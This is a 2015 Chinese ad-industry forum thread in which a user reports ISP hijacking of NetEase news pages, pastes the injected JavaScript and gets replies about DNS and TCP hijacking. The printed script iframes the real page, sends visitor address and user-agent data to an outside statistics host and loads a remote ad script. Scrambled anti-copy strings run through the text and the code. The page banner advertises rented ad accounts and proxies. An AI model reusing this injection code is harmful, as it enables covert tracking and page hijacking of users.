找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)IPCola原生住宅IP⚡️$1.8/条双ISPFB资源,账单户,分享户,国内一手TK加白户/二解户/FB海外户/GG老户
最大欧洲Nutra网盟BA找量 FB高权重耐操个号⚡️稳定过审FB企业户海外户,授信户,TK加白户联盟收款/海外资金下发/服贸结汇
✔Taboola海外户源头广告位出租虚拟卡返佣1%,国内持牌机构 
查看: 9010|回复: 12

[闲聊] 上网奇遇记

[复制链接]

45

主题

781

广告币

1433

积分

高级会员

积分
1433
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
Binom_AdvertCN
本帖最后由 hudba 于 2015-2-3 00:56 编辑 & A5 w# j' i  f+ Q

1 E: x/ }* }. W5 v9 `上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
2 B# H5 o* Z3 a( |, C* }7 Y6 H& O1 `/ C
" ^/ U- \7 s8 z3 M6 Y& w接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}! d0 j1 {: Y. n: ^% F( v0 {
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
0 O! Y7 Z/ S$ f: P

! X3 c- D/ L7 R# Y6 S# n; D顺便查下ip138:
/ V, ~- q, ^: L: D# }; \( Q3 W5 E% d6 t; x
这是那段js里面的代码,好象是个半成品还没写入广告数据:
) B4 V0 R/ h$ X2 w, K' K3 N9 F
  1. function locationSearch() {
    ' E& X! f8 U( ]8 Z9 a1 |
  2.         var s = getMainJs();% M: N# D8 ]& i
  3.         if (s == null) {; f( a" U: j1 J  G* f
  4.                 location.reload();+ c* \+ K6 b9 F2 ]
  5.         }9 d: @& ?6 i- O1 |2 b) b6 P( `. k
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);4 X5 K( A: V- c& q
  7. }4 _( M& m6 B, f' g* B/ w: ?+ A" ^

  8. 5 d3 j, }5 p% @- {+ U
  9. function getParameter(name, paraStr) {; N, Q8 O# o; r- g9 `: D
  10.         var result = "";6 r5 Z* @) `, t1 v7 q
  11.         var str = "&" + paraStr.split("?")[1];
    7 s) \! d3 q1 B  r
  12.         var paraName = "&" + name + "=";" b2 [9 E1 I6 ]/ T! l
  13.         if (str.indexOf(paraName) != -1) {. l5 i$ r) l9 V' e! s; I9 t
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    2 p$ I% N& o* c9 Q) M: K
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);1 K. D  Z' R, m1 ~. Y0 w4 q) |
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    % X/ G% ?, r8 z1 `
  17.                                         1, TmpStr.length).indexOf("&")
    * N- F# p. ]6 E) e4 c
  18.                                         - TmpStr.indexOf(paraName) + 1);
    / l( z1 A$ h; p7 l
  19.                 } else {' k# `2 l2 `/ u: A3 `( I3 g
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    9 w8 Z: g0 J3 G
  21.                 }" w* `' h6 o# z+ t
  22. 0 q' }  I) x; ~% J& R+ ]
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    9 t$ e9 ?2 Q  m5 _1 h) K( H
  24.         } else {% w- E; Z' \! m$ p4 y
  25.                 result = "No such parameter";
    % _0 C/ {) R2 U& o
  26.         }/ r6 ^6 M8 I' Z- u+ t- ^
  27.         return (result.replace("&", ""));) \) V3 ~2 l) a. U/ t
  28. }3 I# T/ E% p6 L4 X
  29. ' m9 H6 Z* W/ @5 u4 O( V
  30. function getMainJs() {. M' `7 |% F8 p* w6 e
  31.         var scripts = document.getElementsByTagName("script");& J# @! b6 c, o2 ~
  32.         var s = null;
    0 u+ g9 q' i* i% R5 n
  33.         for (var i = 0; i < scripts.length; i++) {0 C, v7 \% Q! g* I: A* M
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    $ a' G4 s5 k( ~3 a
  35.                         s = scripts[i];
    / J, i% S/ z0 C
  36.                         break;
    / @; Q6 P& F% }% b' o
  37.                 }9 p% V. c7 K# b3 O; Z2 G% T
  38.         }
    & K/ M, w* l+ o- `. D
  39.         return s;
    + W0 o3 G2 x% R1 {2 G
  40. }
    % p9 t1 c3 ?( E+ |  e$ e8 K( `
  41. ! l4 s7 y* U6 j  F
  42. function appendParam(oStr, aStr) {3 N- w. X0 V, ]/ n  x
  43.         if (oStr.indexOf('?') > 0) {
    $ `  P% T# o2 I' ^7 a2 E& D
  44.                 oStr = oStr + "&" + aStr;% N5 n8 ~' D( u1 v+ N0 j) u! P
  45.         } else {& _3 ~: [% @6 u1 v! M( N& W
  46.                 oStr = oStr + "?" + aStr;
    9 X2 a2 O& C+ F( [
  47.         }, t, h7 U8 z, Z5 l/ X
  48.         return oStr;6 Y. l0 c9 O5 q8 l( M8 x
  49. }
    ; O7 y) p& a! i3 U

  50. 4 y0 ?) n1 `- C3 J! \: y" C
  51. window.onerror = function() {& Q& a: F$ Y, n
  52. };
    5 e$ L3 K% D- J
  53. 5 G8 v8 @; m; G0 d1 N( a. R
  54. var g_titleTime = 0;6 C+ u1 [) Q: n: ]8 Z& l: D& p
  55. function setTcTitle() {& t) G; A- W2 {+ ~5 {
  56.         if (undefined == document) {# N  q/ b$ C, R7 s/ U
  57.                 g_titleTime++;
    # r) v- T! S5 q" b1 i& h8 |4 I5 b
  58.                 setTimeout("setTcTitle();", 1000);& @: w; x4 H, Q: ?
  59.                 return;
    * }" t. c1 C1 g0 F4 @
  60.         }
    9 j; c; C( i5 T% ~
  61. * ^7 V8 O( n6 m
  62.         var doc;* P% L* ]& z) T
  63.         try {  B( o  m: w; |. D; _8 _2 J' g
  64.                 if (document.all) {  c6 @9 X& S5 B' `! ^, M
  65.                         doc = document.frames["cn"].document;
    ! K9 [. c9 Q8 v. J$ G
  66.                 } else {# U/ d! `- U3 J
  67.                         doc = document.getElementById("cn").contentDocument;$ x0 l! Y8 I- u4 s
  68.                 }
    - P  g: X* F, y
  69.         } catch (ex) {# i' E% B! D7 F3 ~$ l4 W) K/ ]: l
  70.         }
    1 e# @1 q5 \8 H; @: E

  71. 3 R' y8 }  T2 H/ p- B% Y) h
  72.         if (g_titleTime < 5; x! A( r- u8 @3 n" j0 _& q2 v5 m
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {4 M: [" e/ Z) D
  74.                 g_titleTime++;
    * V5 f, r9 E4 f: F; [
  75.                 setTimeout("setTcTitle();", 1000);4 f+ w# d: ~: L# l$ s0 u. T: ?
  76.                 return;' g' @! c4 R' r; U" H8 ]
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {/ q/ j9 Q5 n6 H& g
  78.                 document.title = doc.title;( n5 }3 C4 H. i% J& P: I
  79.                 setTcAdvVisible();
    7 r, a$ I. d6 k, J  B- V0 _% K
  80.         }% h( Y! n0 T7 ]" \+ T. ]7 F
  81. }1 R' q2 T8 E6 t: u

  82. 8 s5 k  t/ Z! A) a* }4 k
  83. setTimeout("setTcTitle();", 1000);- s4 L- y6 A: F2 l

  84. . C+ B5 u2 W. X8 q) e
  85. var g_isHaveVisible = false;
    5 e; a" ^; g. L& ?! p
  86. function setTcAdvVisible() {
    # t+ @+ r4 `, e/ r6 v
  87.         if (undefined != document && undefined != document.getElementById("addiv"); C5 x% Q0 ~0 H
  88.                         && !g_isHaveVisible) {6 y- B% \! T# e7 L+ C
  89.                 document.getElementById("addiv").style.visibility = 'visible';( C/ ?/ [5 M) M' ?
  90.                 document.getElementById("addiv").style.display = 'block';
    4 b+ G+ @3 q. N( K5 l6 ]# r; g
  91.                 g_isHaveVisible = true;( \3 X6 F% p+ l, `' I1 p
  92.         }- I+ M6 {  S7 c
  93. }
    9 l6 ~5 G/ |: ~1 t# L

  94. 1 ]" [6 z$ @2 [
  95. function UrlAnalyzer() {. n& o* u; h2 a  v  Y% O0 |
  96.         this.divda = "";. ], L1 H$ x$ m9 M9 s3 s
  97.         this.tctype = "";
    9 o- U% y) M( ~+ V
  98.         this.radius = "";$ v4 p% |1 J! z: z6 n, b* _; P6 K  |) p
  99.         this.rlu = "";1 |$ o. |3 y8 ~3 ?( h
  100. }
    5 ]5 A( M- b/ H- w4 X: ?) i4 q
  101.   T* O) q1 E; B6 d* z. V
  102. UrlAnalyzer.prototype.initParameters = function() {+ A; F0 q: T' `( M
  103.         var paraStr = locationSearch();  [/ X# E. ?8 w. _1 O; n
  104.         this.rlu = getParameter("lruedct", paraStr);
    6 a7 [( Z: _/ r/ ~1 b  T9 e( v
  105.         this.divda = getParameter("divda", paraStr);, y/ r# n( f/ q9 o  P
  106.         this.radius = getParameter("radius", paraStr);3 `3 p* v! m% G- X$ f$ b
  107.         this.tctype = getParameter("tctype", paraStr);9 h# i9 o8 T2 T; P" p4 c
  108.         this.address = getParameter("address", paraStr);0 s5 z7 n! P. J
  109.         this.usagent = getParameter("usagent", paraStr);
    , q( y! E2 W4 I4 R4 A! I, K
  110. }
    1 z# G& N+ V; _

  111. 3 P2 m* ]- m/ ^3 ~; P! T
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {4 C( X3 S$ G% g
  113.         var doc;
    - I  O# N( L( k, V9 E# |
  114.         try {
    / ^. a. s0 t- T. k; M
  115.                 if (document.all) {: P( {/ D  y4 V. Q( F
  116.                         doc = document.frames["cn"].document;
    ; [7 B! q2 J/ M$ c1 a

  117. 3 d* @! P" K1 s$ e$ o5 o8 S3 V0 j
  118.                 } else {
    6 @  h5 c7 ~7 h" z- }/ s
  119.                         doc = document.getElementById("cn").contentDocument;+ ]9 L1 o9 t0 p
  120.                         // doc = document.getElementById("cn").contentWindow.document;! T; ^  W# T+ D& Q" H
  121.                 }0 P  h! A, _# q& t7 Q1 n4 _! @
  122.         } catch (ex) {- T1 X+ @. L4 Z, [9 |% m% W7 ]
  123.         }
    2 ^7 O( @& H& E3 [8 E+ X1 i
  124.         return doc;' _- q8 L- d3 B. N
  125. }8 @+ s# @) v% g; h3 _+ e" \
  126. & v7 A+ J% N( g0 s
  127. UrlAnalyzer.prototype.setDomain = function() {
    2 q1 W0 \) z5 q( ]9 d6 s+ U( W
  128.         if (undefined != document.title && "" == document.title)
    . v; S1 A) z# u! i. Q+ G- z% y
  129.         {; E4 z4 K1 w, ^1 d7 T
  130.                 var index = document.domain.indexOf(".");
    9 v) `* l6 t" F
  131.                 if (undefined != index && -1 != index) {
    + t2 {9 t5 k% ]7 t3 A" t5 {
  132.                         document.domain = document.domain.substring(index + 1,
    ' D$ c4 ]3 Z* ]) ]; L2 f- v
  133.                                         document.domain.length);2 Y- ], R% s3 ?9 i* M0 _
  134.                 }' @& |- Q6 J  d' \# s
  135.                 ! X2 @& U) A8 F( v
  136.                 var doc = this.getHtmlDoc();
    ( P' X% |5 d- A& X
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    0 z" q$ m- [* p6 Y
  138.                         document.title = doc.title;
    ' y! U8 A, B$ d9 [2 Q
  139.                         setTcAdvVisible();
    1 y3 e% m, I' [; A: y, y# R6 [7 P
  140.                 }
    % c. r* O! o' L; R
  141.         }/ M+ F& b# b7 m  d
  142. }
    2 q0 }2 c7 O" d( L1 p

  143. 5 A* m4 Z: t5 J" V
  144. UrlAnalyzer.prototype.iframeCallback = function() {. G8 G$ E  @( z/ a/ l
  145.         var doc = this.getHtmlDoc();$ ~+ _2 }* s* G" j# A3 U
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {9 W* t( K1 R2 _! F; J3 P
  147.                 if (undefined != document.domain) {! ^1 [% N( K6 [) W! a4 l6 f
  148. 1 p* @$ e# ~# U  `8 i
  149.                         var self = this;
    & Q1 f: I" g; q
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    2 N& k: W5 m) s2 K0 g
  151.                         // var index = document.domain.indexOf(".");( |5 Y$ p/ g- c
  152.                         // if (undefined != index && -1 != index) {
    : J: k. g/ w, v2 a
  153.                         // document.domain = document.domain.substring(index + 1,/ p, y7 q- O7 X) i. V  c% P7 P5 t
  154.                         // document.domain.length);
      j& E% I. G; c8 k" @
  155.                         // }3 c+ f" S) D' y6 R! K% ]$ y1 Q4 b
  156.                         //$ U8 r* Y7 k$ W/ {. d* ?; n* g
  157.                         // var doc = this.getHtmlDoc();
    3 K# L: i0 V  M$ l0 X- t
  158.                         // if (undefined != doc && undefined != doc.title && "" !=6 r0 ?3 J7 v3 x/ t7 z9 U
  159.                         // doc.title) {2 M; n/ s/ c" R% k
  160.                         // document.title = doc.title;4 R$ h+ d% o$ a* C
  161.                         // setTcAdvVisible();
    & N, o) s# q% g- k  v1 l! K' |5 M
  162.                         // }, s0 Y: W0 h* v: d+ k
  163.                 }
    + W1 Y0 }6 ]" H
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {" S4 v5 {, x' B0 z& [
  165.                 document.title = doc.title;
    2 R9 ?% @( U8 J& n+ _
  166.                 setTcAdvVisible();6 S& }: f: c% a1 k
  167.         }
    5 r" v7 ~3 ~" x
  168. }
    $ m; Y8 z% S  P' `! w

  169.   g9 p0 j, r. x; O( |
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {+ g# R  ?/ j2 }/ q$ U" J
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    ' v3 g3 @, T, z
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;5 ~5 G5 O7 a5 F) V" Z+ d6 Q$ B( @

  173. % J% g) p% C0 y
  174.         var htmlStr = "<iframe src="" + staUrl
    * Z8 c; n3 f9 D1 U
  175.                         + "" style="display:none"></iframe>";
    ' s: r+ j2 O8 d+ P2 A1 K- a/ v
  176. . O5 o1 c7 ?6 d# M
  177.         var advUrl = htmlStr+ e' H4 p' m5 k( G3 g
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="2 {% {9 @: P2 {3 T, a
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";$ E7 f; ~) G9 I5 u3 u
  180.         document.write(advUrl);
    : h& g! U" S5 w2 S

  181. % a3 m4 G& X+ Q5 ?6 v
  182.         var self = this;
    ! t7 \* F  S% G) o: S
  183.         var iframe = document.getElementById("cn");3 j2 M8 d' p  l: l/ X; }
  184.         if (iframe.attachEvent) {7 F. K5 R0 b6 h2 Q% s3 X
  185.                 iframe.attachEvent("onload", function() {
    , s$ [& e% B6 M# W0 o
  186.                         self.iframeCallback.call(self, null);
    + O6 y7 M0 U3 E5 U+ ]+ M9 b3 ^/ I
  187.                 });2 r2 K  @0 i& |; p: \
  188.         } else {
    ( P& i# O- R1 a  @
  189.                 iframe.onload = function() {
    , @$ j2 }8 e6 u7 b. M+ r
  190.                         self.iframeCallback.call(self, null);
    + b5 P4 d" h( [7 r+ C$ M2 z! }/ q! j
  191.                 }
    5 y5 [4 C$ u7 y% w
  192.         }
    " z2 @! ~7 ]8 y- V* G" r, J8 V
  193. }# P; y5 N- K( |
  194. * \& f$ x5 z7 i0 l
  195. UrlAnalyzer.prototype.executeMain = function() {
    3 C& w! B" A1 `; b
  196.         var mainFrame = document.getElementById("cn");3 }4 C. Q9 o; s  Z: Y3 l% z6 [
  197.         mainFrame.contentWindow.location.href = mainFrame.src;' M$ w  a1 g& V& G4 r6 ~
  198.         this.initParameters();
    0 F5 }! R) g* b* Y8 e2 o
  199.         this.executeHtmlContext();9 A8 R. e' A2 ?; o* f& Z( u
  200. }! I9 T! R1 R" I# z
  201. $ _+ {! x+ m8 b$ L5 f, L2 P+ b
  202. var g_analyzer = new UrlAnalyzer();
    % ?3 L- f4 y$ P' j4 \0 X
  203. g_analyzer.executeMain();3 P9 k# o+ `8 \& p
复制代码
: _2 Y' h, l7 i7 B5 e# M
* W- q- Q1 C+ m- _2 K" D9 m  E; m
- e& E! V0 H9 Z* x& Y& s. l4 [- b

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

458

广告币

844

积分

中级会员

积分
844
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1731

广告币

2029

积分

高级会员

积分
2029
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
! ]3 X9 \! O# C7 R. `1 o& f# Z所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
& h4 ^2 o- t+ ?1 l3 i- B
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
7 y$ M6 m- f/ |0 I6 P- O) WTCP劫持,换DNS也不管用的。

/ p, \) ?+ N) a' A  w6 j7 v5 ]. y幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-10-4 04:13 , Processed in 0.075311 second(s), 25 queries , Gzip On.

Copyright © 2001-2026, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表